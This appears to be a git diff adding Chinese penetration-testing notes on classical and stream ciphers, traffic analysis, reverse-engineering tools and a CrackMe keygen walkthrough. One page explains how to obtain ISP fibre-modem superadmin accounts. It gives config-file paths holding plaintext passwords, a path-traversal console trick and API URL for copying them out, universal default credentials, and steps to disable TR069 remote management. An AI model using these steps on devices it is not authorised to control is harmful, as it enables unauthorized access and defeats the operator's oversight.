但依然十分的脆弱. + +### 维吉尼亚密码 (Vigenère cipher) + +密钥是一个词. + +![维吉尼亚密码加密示意图](assets/vigenere_cipher.png){ width=80% style="display: block; margin: 0 auto" } + +```cpp +// 假设 A = 0 +std::string E(const std::string& plaintext, const std::string& key) { + std::string ciphertext; + for (std::size_t i = 0; i < plaintext.size(); i++) + ciphertext.push_back( + ((key[i % key.size()] - 'a') + (plaintext[i] - 'a')) % 26 + 'a'); + return ciphertext; +} +``` + +#### 破解 + +攻击模式: 唯密文攻击. + +假设 k 长度为 n, 将密文 n 个字母一组进行统计分析. +假设每个分组中字母 h 的出现频率最高, 假设对应明文为 e (文字中出现频率最高的英文字母), 那么就可以算出 h 对应的明文 h - e = c. + +若不知道 k 的长度, 可以进行假设 k 的范围并进行暴力测试. + +### 转轮机 (Rotor machines) + +- The Hebern machine: single rotor. +- The Enigma: 3-5 rotors. + +![转轮机示意图](assets/rotor_machines.png){ width=60% style="display: block; margin: 0 auto" } + +假设转子数为 n, 密钥空间大小 $|\cal{K}| = 26^n$. + +```cpp +// single rotor +std::string E(const std::string& plaintext, int key) { + std::string ciphertext; + for (const auto ch : plaintext) + ciphertext.push_back(((key++ % 26) + (ch - 'a')) % 26 + 'a'); + return ciphertext; +} + +// multiple rotors +std::string E(const std::string& plaintext, std::vector key) { + std::string ciphertext(plaintext.size(), '\0'); + for (std::size_t i = 0; i < plaintext.size(); i++) { + for (std::size_t j = 0; j < key.size(); j++) { + ciphertext[i] += (key[j]++ % 26) + (plaintext[i] - 'a'); + } + ciphertext[i] = ciphertext[i] % 26 + 'a'; + } + return ciphertext; +} +``` + +## 对称密码 + +**英文**: Symmetics ciphers. + +![对称密码示意图](assets/sym_cipher.png){ width=80% style="display: block; margin: 0 auto" } + +特点是使用相同的密钥K. + +一致性方程: $D(k, E(k, m)) = m$. + +## 异或(exclusive-OR, XOR) + +| $A$ | $B$ | $A \oplus B$ | +| --: | --: | -----------: | +| 0 | 0 | 0 | +| 0 | 1 | 1 | +| 1 | 0 | 1 | +| 1 | 1 | 0 | + +1. 归零律: $a \oplus a = 0$. +2. 恒等律: $a \oplus 0 = a$. +3. 交换律: $a \oplus b = b \oplus a$. +4. 结合律: $a \oplus b \oplus c = a \oplus (b \oplus c) = (a \oplus b) \oplus c$. +5. 自反: $a \oplus b \oplus a = b$. + +## 参见 + +- [Letter frequency - Wikipedia](https://en.wikipedia.org/wiki/Letter_frequency). + +## 参考 + +- [Online Cryptography Course by Dan Boneh (stanford.edu)](https://crypto.stanford.edu/~dabo/courses/OnlineCrypto/) diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/\346\265\201\345\257\206\347\240\201.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/\346\265\201\345\257\206\347\240\201.md" new file mode 100644 index 000000000..0747c267d --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/\346\265\201\345\257\206\347\240\201.md" @@ -0,0 +1,90 @@ +# 流密码 + +**英文**: Stream cipher. +**别名**: State cipher. + +## 一次性密码本 (One-time pad, OTP) + +$$ +E(k, m) = k \oplus m \\ +D(k, c) = k \oplus c +$$ + +一致性方程: + +$$ D(k, E(k, m)) = k \oplus (k \oplus m) = (k \oplus k) \oplus m = 0 \oplus m = m $$ + +密钥 k 的长度和明文相等. + +```cpp +template +std::bitset E(const std::bitset& key, const std::bitset& plaintext) { + return key ^ plaintext; +} +``` + +### 一次性 + +假设使用同一个密钥加密了两份密文: + +$$ +c_1 = m_1 \oplus k,\ c_2 = m_2 \oplus k \\ +\begin{align} +c_1 \oplus c_2 &= m_1 \oplus k \oplus m_2 \oplus k \\ +&= m_1 \oplus m_2 \oplus k \oplus k \\ +&= m_1 \oplus m_2 \oplus 0 \\ +&= m_1 \oplus m_2 +\end{align} +$$ + +只要截获了两份密文, 即可通过异或的交换律/归零律和恒等律可以得出对应明文异或的结果. 因此 OTP 的密钥只能使用一次. + +### 优点 + +OTP 满足以下条件则无法破译: + +1. 密钥 k 的长度至少和明文相等. +2. 密钥是在密钥空间中均匀分布的真随机数. +3. 密钥不能自重复. +4. 密钥不可能泄露. + +#### 完善保密性 (Prefect secrecy) + +密文不应该揭露任何明文的信息. + +$$ \forall m_0, m_1 \in \cal{M} (|m_0| = |m_1|) \text{ and }, \forall c \in \cal{C} $$ +$$ Pr[E(k, m_0) = c] = Pr[E(k, m_1) = c] \, where \, k \underleftarrow{R} \cal{K} $$ + +### 缺点 + +因为 $|\cal{K}| \geq |\cal{M}|$, 难以在实践中使用. + +## 流密码 + +OTP 虽然具有完善保密性, 但在及时的网络通信中不实用, 因为密钥的长度大于或等于明文, 因此加密没有意义. +流密码在 OTP 的基础上进行了一些改动, 用安全性换取实用性. + +### 伪随机数生成器 (Pseudorandom generators, PRG) + +为了使 OTP 更具实用性, 可以将较短长度的密钥通过 PRG 拓展成和密文一样长的拓展后的密钥. +伪随机数生成器应该是不可预测的, 否则可以通过其中一段明文和密文得出密钥的一部分, 然后预测密钥的其他部分. +如线性同余随机数生成器 (Linear congruential generator), 虽然在统计学上具有良好的性质, 但容易预测. + +```cpp +// 先将 N 位的密钥拓展至 M 位, 然后再使用 OTP 进行加密 +template +std::bitset E(const std::bitset& key, const std::bitset& plaintext) { + static_assert(N < M, ""); + std::bitset extended_key; + PRNG engine(key.to_ulong()); + for (std::size_t size = 0; size < M; + size += sizeof(typename PRNG::result_type) * sizeof(unsigned char)) + extended_key |= engine() << size; + return E(extended_key, plaintext); +} +``` + +## 拓展 + +- [VENONA 项目](https://en.wikipedia.org/wiki/Venona_project). +- [线性同余随机数生成器](https://en.wikipedia.org/wiki/Linear_congruential_generator). diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/\350\213\261\346\226\207\351\242\221\347\216\207.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/\350\213\261\346\226\207\351\242\221\347\216\207.md" new file mode 100644 index 000000000..6371dbb18 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\345\257\206\347\240\201\345\255\246/\350\213\261\346\226\207\351\242\221\347\216\207.md" @@ -0,0 +1,56 @@ +# 英文频率 + +## 英文字母出现频率 + +| 字母 | 出现频率 | 字母 | 出现频率 | +| ---- | -------- | ---- | -------- | +| a | 8.167% | n | 6.749% | +| b | 1.492% | o | 7.507% | +| c | 2.782% | p | 1.929% | +| d | 4.253% | q | 0.095% | +| e | 12.702% | r | 5.987% | +| f | 2.228% | s | 6.327% | +| g | 2.015% | t | 9.056% | +| h | 6.094% | u | 2.758% | +| i | 6.966% | v | 0.978% | +| j | 0.253% | w | 2.360% | +| k | 0.772% | x | 0.250% | +| l | 4.025% | y | 1.974% | +| m | 2.406% | z | 0.074% | + +--- + +| 字母 | 出现频率 | 字母 | 出现频率 | +| ---- | -------- | ---- | -------- | +| e | 12.702% | t | 9.056% | +| a | 8.167% | o | 7.507% | +| i | 6.966% | n | 6.749% | +| s | 6.327% | h | 6.094% | +| r | 5.987% | d | 4.253% | +| l | 4.025% | u | 2.758% | +| c | 2.782% | m | 2.406% | +| w | 2.360% | f | 2.228% | +| g | 2.015% | y | 1.974% | +| p | 1.929% | b | 1.492% | +| v | 0.978% | k | 0.772% | +| x | 0.250% | j | 0.253% | +| q | 0.095% | z | 0.074% | + +## 英文双字母组出现频率 + +| 双字母组 | 出现频率 | 双字母组 | 出现频率 | 双字母组 | 出现频率 | +| -------- | -------- | -------- | -------- | -------- | -------- | +| th | 3.56% | of | 1.17% | io | 0.83% | +| he | 3.07% | ed | 1.17% | le | 0.83% | +| in | 2.43% | is | 1.13% | ve | 0.83% | +| er | 2.05% | it | 1.12% | co | 0.79% | +| an | 1.99% | al | 1.09% | me | 0.79% | +| re | 1.85% | ar | 1.07% | de | 0.76% | +| on | 1.76% | st | 1.05% | hi | 0.76% | +| at | 1.49% | to | 1.05% | ri | 0.73% | +| en | 1.45% | nt | 1.04% | ro | 0.73% | +| nd | 1.35% | ng | 0.95% | ic | 0.70% | +| ti | 1.34% | se | 0.93% | ne | 0.69% | +| es | 1.34% | ha | 0.93% | ea | 0.69% | +| or | 1.28% | as | 0.87% | ra | 0.69% | +| te | 1.20% | ou | 0.87% | ce | 0.65% | diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\346\265\201\351\207\217\345\210\206\346\236\220.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\346\265\201\351\207\217\345\210\206\346\236\220.md" new file mode 100644 index 000000000..8b3a99cf7 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\346\265\201\351\207\217\345\210\206\346\236\220.md" @@ -0,0 +1,13 @@ +# 流量分析 + +## [Wireshark](https://www.wireshark.org/) + +- 过滤器: 通过编写[表达式](https://www.wireshark.org/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html)来从大量数据包中提取出感兴趣的. +- 追踪流: 合并数据包流中的数据. 右键数据包流中的一个数据包->追踪流->合适的协议. +- 协议分级: 通过协议进行分类统计. 统计->协议分级. + +当只对数据包中特定字段感兴趣时, 可以利用 [tshark](https://www.wireshark.org/docs/man-pages/tshark.html) 提取并导出数据. + +## 参见 + +- [Wireshark User's Guide](https://www.wireshark.org/docs/wsug_html_chunked/). diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\350\216\267\345\217\226\345\205\211\347\214\253\350\266\205\347\272\247\350\264\246\345\217\267.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\350\216\267\345\217\226\345\205\211\347\214\253\350\266\205\347\272\247\350\264\246\345\217\267.md" new file mode 100644 index 000000000..b3a209040 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\350\216\267\345\217\226\345\205\211\347\214\253\350\266\205\347\272\247\350\264\246\345\217\267.md" @@ -0,0 +1,66 @@ +# 获取光猫超级账号 + +## 配置文件 + +超级管理员的用户名和密码被保存在特定的配置文件中. 以下是几个常见的配置文件及其对应的检索方法: + +1. `/var/lastgood.xml`, 存在密码明文, 检索关键字: `SUSER_PASSWORD`. 已知适用型号: `HG521G`. +2. `/data/factory.conf`, 存在密码明文, 检索关键字: `TelecomPasswd`. +3. `/userconfig/cfg/db_user_cfg.xml`, 需要使用解码器进行解码. 已知适用型号: `ZXHN F450`/`ZXHN F650`. + + 中兴光猫配置文件解码器: . + 请依次尝试不同解码方式, 解码方式有 `CRC`, `AESCBC`, `XOR`. + + ```console + ztecfg.exe -d CRC -i db_user_cfg.xml -o result.xml + ``` + + 在 `result.xml` 中查找下面两行, 即可获得超级用户名和密码: + + ```xml + + + ``` + +### 获取配置文件 (适用于天翼网关) + +利用路径穿越漏洞, 可以将带有超级管理员密码的配置文件拷贝到 U 盘中. 以下是具体步骤: + +1. 将 U 盘插入光猫, 登录天翼网关后台. +2. 进入 `存储管理 | 存储设置`. +3. 使用元素选择工具选择文件查看器里的任意元素. +4. 在控制台中执行两次 `openfile("..")` 来穿越到根目录, 可访问所有文件. +5. 将所需的文件(如上述配置文件)拷贝至 U 盘. + +或者直接调用 API 拷贝指定目录到 U 盘: `http://192.168.1.1/cgi-bin/luci/admin/storage/copyMove?opstr=copy|/userconfig|/mnt/USB_disc1|cfg&fileLists=cfg/&_=0.5060406976503316`. +输出内容 `{"setRes":true,"filePath":"/userconfig","percent":100,"transId":0,"fileNum":0}` 表示操作成功. + +### 持久化 + +!!! warning + 下面操作存在较高风险, 需谨慎操作. + +超级管理员的密码通常是动态生成的, 设备重启后会重新分配. 以下是解决方法: + +1. 在 `网络 | 网络设置 | 网络连接` 中, 选择名字带有 `TR069` 的连接. 点击 `删除`. +2. 在 `网络 | 远程管理 | ITMS服务器` 中, 反选 `启用周期上报`, 并修改 `ITMS认证地址` 使其失效. 点击 `保存`. + +## 小翼管家 + +详情请参见: . + +## 通用超级密码 + +对于**旧设备**, 可以直接使用以下通用超级密码进行登录: + +- 电信超级账户: `telecomadmin`, 密码: `nE7jA%5m`. +- 移动超级账户: `CMCCAdmin`, 密码: `aDm8H%MdA`. +- 联通超级账户: `CUAdmin`, 密码: `CUAdmin`. + +## 参见 + +- [中兴光猫配置文件db_user_cfg.xml结构分析及解密 - 吾爱破解](https://www.52pojie.cn/thread-1005978-1-1.html). + +## 参考 + +- . diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/Acid_burn.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/Acid_burn.md" new file mode 100644 index 000000000..1b93f1b09 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/Acid_burn.md" @@ -0,0 +1,91 @@ +# Acid burn + +## 基本信息 + +名称: Acid burn. +类型: Nag, Name/Serial, Serial. +语言: Borland Delphi 3.0. +壳: 无. + +## 准备工作 + +1. 检索程序基本信息, 如编写语言, 是否加壳. +2. 将程序放入 IDA 中进行分析. +3. 添加 Delphi 库函数标签, 打开签名视图(Shift+F5). 右键选择应用新签名并搜索相关签名. + + ![Delphi 签名](assets/1_sig_delphi.png) + + 查看签名视图的 #fun 项, 检查被成功识别函数的数量. + + ![签名视图](assets/1_sig.png) + +## 阻止启动时弹窗 + +![启动时弹窗](assets/1_startup_msgbox.png) + +打开字符串视图(Shift+F12)并搜索相关字符串. + +![字符串 "hello"](assets/1_ida_str_hello.png) + +双击字符串定位到字符串所在的位置. + +![字符串 "hello" 的位置](assets/1_str_hello_position.png) + +通过交叉引用(Ctrl+X)查询引用该字符串的位置. + +![字符串 "hello" 的交叉引用](assets/1_str_hello_xref.png) + +双击查询记录定位到引用的位置. + +![index_FromCreate](assets/1_func_index_FromCreate.png) + +该函数的实现非常简单, 在将两个弹窗中出现的字符串作为参数调用了 `TApplication::MessageBox`. +由于该应用程序使用的是 Win32 API, 因此离 MessageBox 等系统函数的调用不远了. +在查看 `TApplication::MessageBox` 后可以发现, 这两个字符串参数被原封不动的传入了 `MessageBoxA`. + +至此, 如何阻止启动时弹窗的办法已经十分明显了. 只要让 `MessageBoxA` 不被调用即可, 但为同时确保程序的其他部分能正常运行, 不能应该对 `TApplication::MessageBox` 内部进行修改. +将不想执行的代码使用空指令 nop 填充, 但需要确保堆栈平衡和寄存器数值的正确, 可参考[调用约定](../调用约定.md). + +通过 *编辑 | 补丁 | 汇编* 来对原汇编代码进行修改, 然后再通过 *编辑 | 补丁 | 应用* 来保存修改, 写入前记得先对源程序进行备份. + +!!! success + 修改完毕后, 启动程序将不再显示启动时的弹窗. + +## Serial + +在序列号输入失败后会弹窗提示, 根据内容定位到引用该字符串的代码. + +![序列号验证_0](assets/1_serial_verify_.png) + +根据上图内容可以看出序列号校验的最后一步操作是利用 LStrCmp 对两个字符串进行比较. +因为 LStrCmp 会在函数相等时返回 0, 所以字符串相等时序列号正确, 反之错误. + +![序列号验证_1](assets/1_serial_verify.png) + +从上图的分析可以看出, 首先创建了两个局域变量 `str1`, `str2` 并为它们赋值. `_str_Hello`, `_str_Dude_` 类型是 `_strings` 结构体, 包含了 `_top`, `len`, `text` 三部分, 其中 text 部分是以 0 结尾的 C-style 字符串. +之后调用 `LStrCatN` 将三个字符串连接起来, 形成正确的序列号 "Hello Dude!". 并与通过 `TControl::GetText` 获取的用户输入进行比较. + +由于直接将未经处理的用户输入与序列号进行比较, 因此可以在判断处设置断点, 查看此刻内存中序列号的值. + +!!! success + 序列号为 "Hello Dude!". + +## Name/Serial + +定位到验证名称/序列号的代码处: + +![名称/序列号验证](assets/1_name_serial_verify_.png) + +经过简单分析即可还原算法: + +```cpp +std::string gen_serial_by_name(std::string_view name) +{ + if(name.size() < 4) + return ""; + return "CW"s + "-"s + std::to_string(41 * 2 * name[0]) + "-"s + "CRACKED"s; +} +``` + +!!! success + 代码成功通过测试. diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/Afkayas.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/Afkayas.md" new file mode 100644 index 000000000..25ade79f0 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/Afkayas.md" @@ -0,0 +1,8 @@ +# Afkayas + +名称: Afkayas.1. +类型: Name/Serial(VB5). +语言: Microsoft Visual Basic 5.0 / 6.0. + +!!! warning + 缺乏依赖, 无法正常运行. diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/CKme.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/CKme.md" new file mode 100644 index 000000000..de5953f4f --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/CKme.md" @@ -0,0 +1,10 @@ +# CKme + +## 基本信息 + +名称: CKme. +类型: Name/Serial(Delphi). +语言: Borland Delphi 4.0 - 5.0. +壳: 无. + +导入 Delphi 4-5 图形界面库的函数签名. diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_func_index_FromCreate.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_func_index_FromCreate.png" new file mode 100644 index 000000000..209b1c7a1 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_func_index_FromCreate.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_ida_str_hello.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_ida_str_hello.png" new file mode 100644 index 000000000..93a37bca7 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_ida_str_hello.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_name_serial_verify_.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_name_serial_verify_.png" new file mode 100644 index 000000000..9c824de34 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_name_serial_verify_.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_serial_verify.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_serial_verify.png" new file mode 100644 index 000000000..897115d77 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_serial_verify.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_serial_verify_.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_serial_verify_.png" new file mode 100644 index 000000000..38e1b2938 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_serial_verify_.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_sig.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_sig.png" new file mode 100644 index 000000000..3d06b5247 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_sig.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_sig_delphi.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_sig_delphi.png" new file mode 100644 index 000000000..0796c1f9f Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_sig_delphi.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_startup_msgbox.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_startup_msgbox.png" new file mode 100644 index 000000000..4fafdd5c5 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_startup_msgbox.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_str_hello_position.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_str_hello_position.png" new file mode 100644 index 000000000..7bb9cb064 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_str_hello_position.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_str_hello_xref.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_str_hello_xref.png" new file mode 100644 index 000000000..d8bc836d8 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/CrackMe/assets/1_str_hello_xref.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/GOT.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/GOT.md" new file mode 100644 index 000000000..2994b0c70 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/GOT.md" @@ -0,0 +1,13 @@ +# GOT + +**全称**: Global Offset Table. + +ELF 中的动态链接函数的地址是在运行时确定的, 第一次执行函数前会先通过动态解析器 (dynamic resolver) 解析获得函数的地址, 然后将结果缓存在 GOT 中. +由于程序可能存在大量动态函数, 若在一开始就对全部函数进行解析将耗费不少时间, 而且最终可能只有一部分动态函数被使用到, 因此 ELF 使用了延迟绑定的方法, 只在动态函数被调用前才进行绑定. + +GOT 是在运行时不断完善的, 所以该表是**可写的**. +如果该程序被标记为 full RELRO, GOT 将是只读的, 否则这些解析工作是惰性的. 可以使用 `readelf` 或 `checksec` 判断程序是否是 full RELRO 的. + +## 参考 + +- . diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/ghidra.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/ghidra.png" new file mode 100644 index 000000000..77264e4bd Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/ghidra.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/ida_pro.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/ida_pro.png" new file mode 100644 index 000000000..1b66d46b2 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/ida_pro.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/radare2.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/radare2.png" new file mode 100644 index 000000000..bff7a2406 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/radare2.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/x64dbg.png" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/x64dbg.png" new file mode 100644 index 000000000..075543ba2 Binary files /dev/null and "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/assets/x64dbg.png" differ diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\345\217\202\350\200\203.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\345\217\202\350\200\203.md" new file mode 100644 index 000000000..2c0f00dfe --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\345\217\202\350\200\203.md" @@ -0,0 +1,3 @@ +# 参考 + +- [Python arsenal for RE](https://pythonarsenal.com/). diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\345\217\215\346\261\207\347\274\226\345\231\250.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\345\217\215\346\261\207\347\274\226\345\231\250.md" new file mode 100644 index 000000000..1923dd6da --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/\351\200\206\345\220\221\345\267\245\347\250\213/\345\217\215\346\261\207\347\274\226\345\231\250.md" @@ -0,0 +1,317 @@ +# 反汇编器 + +**英文**: Disassembler. + +!!! info + 由于许多反汇编器已经同时具备静态分析和动态调试功能, 因此这里反汇编器同时指代逆向工程框架. + 由于许多反汇编器已经集成了反编译功能, 因此这里统一使用反汇编器指代. + +- [IDA Pro](#ida-pro): 可调试, 反编译, 跨平台, 天价. +- [Ghidra](#ghidra): 可调试, 反编译, 免费, 开源, 跨平台. +- [Radare2](#radare2): 可调试, 免费, 开源, TUI, 跨平台. + +## [IDA Pro](https://hex-rays.com/ida-pro/) + +![IDA Pro "VSCode Dark Theme"](assets/ida_pro.png) + +由于高昂的售价, 使得 IDA Pro 自身也变成了被逆向的对象. + +- 提供了只包含部分功能的免费版本 [IDA Free](https://hex-rays.com/ida-free/). +- 部分键位和大多数软件并不相同, 具体请参考[快捷键](https://www.hex-rays.com/products/ida/support/freefiles/IDA_Pro_Shortcuts.pdf). + +- 重命名: 使用 `n` 来对变量或函数名进行重命名. +- 注释: 使用 `;` 来对反汇编结果进行注释, `/` 来对反编译结果进行注释. 遇到不熟悉的指令集时可以通过 选项->常规->反汇编->自动注释 来启用汇编代码作用的行内注释. + +插件支持 Python 和 IDC 语言. +使用方法请参考手册(*帮助 | 帮助*, F1). + +!!! warning "Apple Silicon M1" + IDA Pro 的 [ARM 版本](https://hex-rays.com/blog/ida-pro-on-apple-silicon/)暂时未泄露, 因此使用 Apple Silicon M1 的计算机需要借助 Wine 来运行 IDA Pro. + +## [Ghidra](https://github.com/NationalSecurityAgency/ghidra) + +![Ghidra "Dark Theme"](assets/ghidra.png) + +这是一个由 NSA 维护的项目, 因此即使是开源项目也需谨慎使用. + +颜色主题 (包括暗色主题) 可以在 Ghidra 窗口的 `Edit | Theme` 下进行设置. +早期的 9.0 - 10.3 版本需要另行安装 [Dark Theme](https://github.com/zackelia/ghidra-dark). + +!!! warning + 该项目早期版本在未修复的已知的远程可执行漏洞 [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2021-44228), 详情请参考[安全警告](https://github.com/NationalSecurityAgency/ghidra#security-warning). + 请根据手册来进行补丁. + +插件仅支持 Java 语言. +使用方法请参考手册 (*Help->Contents*). + +[cwe_checker](https://github.com/fkie-cad/cwe_checker) 用于分析二进制可执行文件中的弱点, 可以集成到 Ghidra 中. + +## [Radare2](https://github.com/radareorg/radare2) + +![Radare2](assets/radare2.png) + +更多内容请参考[常用插件](https://github.com/radareorg/radare2#plugins)和[插件](https://r2wiki.readthedocs.io/en/latest/home/radare-plugins/). +常用插件: + +- [Cutter](https://github.com/rizinorg/cutter) Rizin GUI, Frok 自 iaito. +- [iaito](https://github.com/radareorg/iaito) 为 Radare2 提供了一个官方的 GUI. +- [r2ghidra](https://github.com/radareorg/r2ghidra) Ghidra 反编译器的集成. + 